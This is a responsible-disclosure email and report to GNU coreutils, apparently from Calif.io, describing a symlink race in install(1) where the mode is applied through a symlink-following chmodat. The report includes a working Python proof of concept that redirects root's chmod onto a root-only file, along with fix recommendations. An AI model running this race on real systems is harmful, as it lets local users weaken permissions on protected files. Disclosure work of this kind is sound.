Hi team,

We are reporting a race-condition issue in GNU coreutils (install).

`install(1)` sets ownership with the no-follow `lchownat` but applies
the mode with the symlink-following `chmodat` (`fchmodat(fd, file,
mode, 0)`). A local user who owns the destination's parent directory
can swap the just-installed file for a symlink in that window and
redirect root's `chmod` (and, with `-p`, `utimensat`) to an arbitrary
target (CWE-367 / CWE-59). The neighbouring ACL branch already bounds
its copy; this path does not. Present at v9.12 and master, no CVE.

The full write-up, including a working reproduction, is in the attached report.

This issue was found by Claude and verified by Calif.io engineers.

Thanks,
Calif.io
# GNU coreutils: install(1) applies the destination mode through a symlink, letting a local user redirect root's chmod

**ANT-ID:** ANT-2026-J82F5KHS

> Reported by Calif.io, in collaboration with Anthropic. Our reference: ANT-2026-J82F5KHS.

## Summary

When root runs `install(1)` into a directory an unprivileged user can write to, that user can make root `chmod` an arbitrary file of their choosing. In `src/install.c`, `change_attributes()` sets the destination's ownership with `lchownat(dirfd, relname, owner_id, group_id)` at line 455 (master; 453 at v9.12), which does not follow symlinks, but then sets the mode with `chmodat(dirfd, relname, mode)` at line 458 (455 at v9.12), which resolves to `fchmodat(fd, file, mode, 0)` in gnulib `lib/openat.h` and does follow symlinks. The destination file descriptor opened with `O_CREAT|O_EXCL` in `src/copy.c` is already closed (`copy.c:1133`) before `change_attributes()` runs, so the final `chmodat` operates purely on the path. A user who owns the destination's parent directory unlinks the just-installed file and drops a symlink in its place during that window, and root's `chmod` is applied to the symlink target instead. The window is small for a plain `install SRC DEST`, but `install -s` runs an external `strip` via `posix_spawnp` on the destination path between the copy and the `chmodat`, and a FIFO source stalls the copy entirely, either of which makes the swap deterministic. The sibling timestamp path has the same shape: with `-p`, `change_timestamps()` calls `utimensat(dirfd, relname, timespec, 0)` (line 479 on master, 476 at v9.12), also symlink-following.

## Reproduce

The race reproduces with a short harness; the window is reliably hit within a few seconds.

1. Confirm the target is root-only: `stat -c '%a %U %n' /flag` shows `600 root /flag`.
2. As an unprivileged user (uid 1000), create a FIFO source and spin a thread that waits for root's `install` to create the destination, then swaps it for a symlink to `/flag`:
   ```python
   import os, time, subprocess, multiprocessing, stat as st
   WORK="/home/mallory/work"; SRC=WORK+"/srcfifo"; DEST=WORK+"/dest"; FLAG="/flag"
   def mallory():
       os.setuid(1000); os.makedirs(WORK, exist_ok=True)
       try: os.unlink(SRC); os.unlink(DEST)
       except FileNotFoundError: pass
       os.mkfifo(SRC); fd=os.open(SRC, os.O_RDWR); end=time.time()+15
       while time.time()<end:
           try:
               if not st.S_ISLNK(os.lstat(DEST).st_mode):
                   os.unlink(DEST); os.symlink(FLAG, DEST); break
           except FileNotFoundError: pass
           time.sleep(0.001)
       os.write(fd, b"X"*4096); os.close(fd)
   m=multiprocessing.Process(target=mallory); m.start(); time.sleep(0.3)
   subprocess.run(["install","-m","0777",SRC,DEST], timeout=20); m.join(15)
   print("after:", oct(os.stat(FLAG).st_mode))
   ```
3. Run it as root. `install` copies the FIFO (blocking until mallory writes), sets ownership with the no-follow `lchownat`, but applies the mode with the symlink-following `chmodat`, so the final `chmod 0777` lands on `/flag`.
4. Confirm: `stat -c '%a %n' /flag` now shows `777 /flag`.

## Recommendations

Set the mode on the final component without following symlinks. `lchmodat()` already exists in the same gnulib header and is already used by `src/copy.c` and `src/cp.c`; calling it in place of `chmodat()` at the `change_attributes()` site matches the no-follow `lchownat` on the line above and closes the gap. Better still, keep the `O_EXCL` destination descriptor from the copy and apply the mode with `fchmod` on that fd so no path is re-resolved at all. The `utimensat(..., 0)` in `change_timestamps()` should likewise use `AT_SYMLINK_NOFOLLOW`.

## Affected

GNU coreutils v9.12 (the newest release) and master HEAD (`394427e6`); `change_attributes()` in `src/install.c` sets the mode with the symlink-following `chmodat` while setting ownership with the no-follow `lchownat` in both. No CVE covers it.

Reply via email to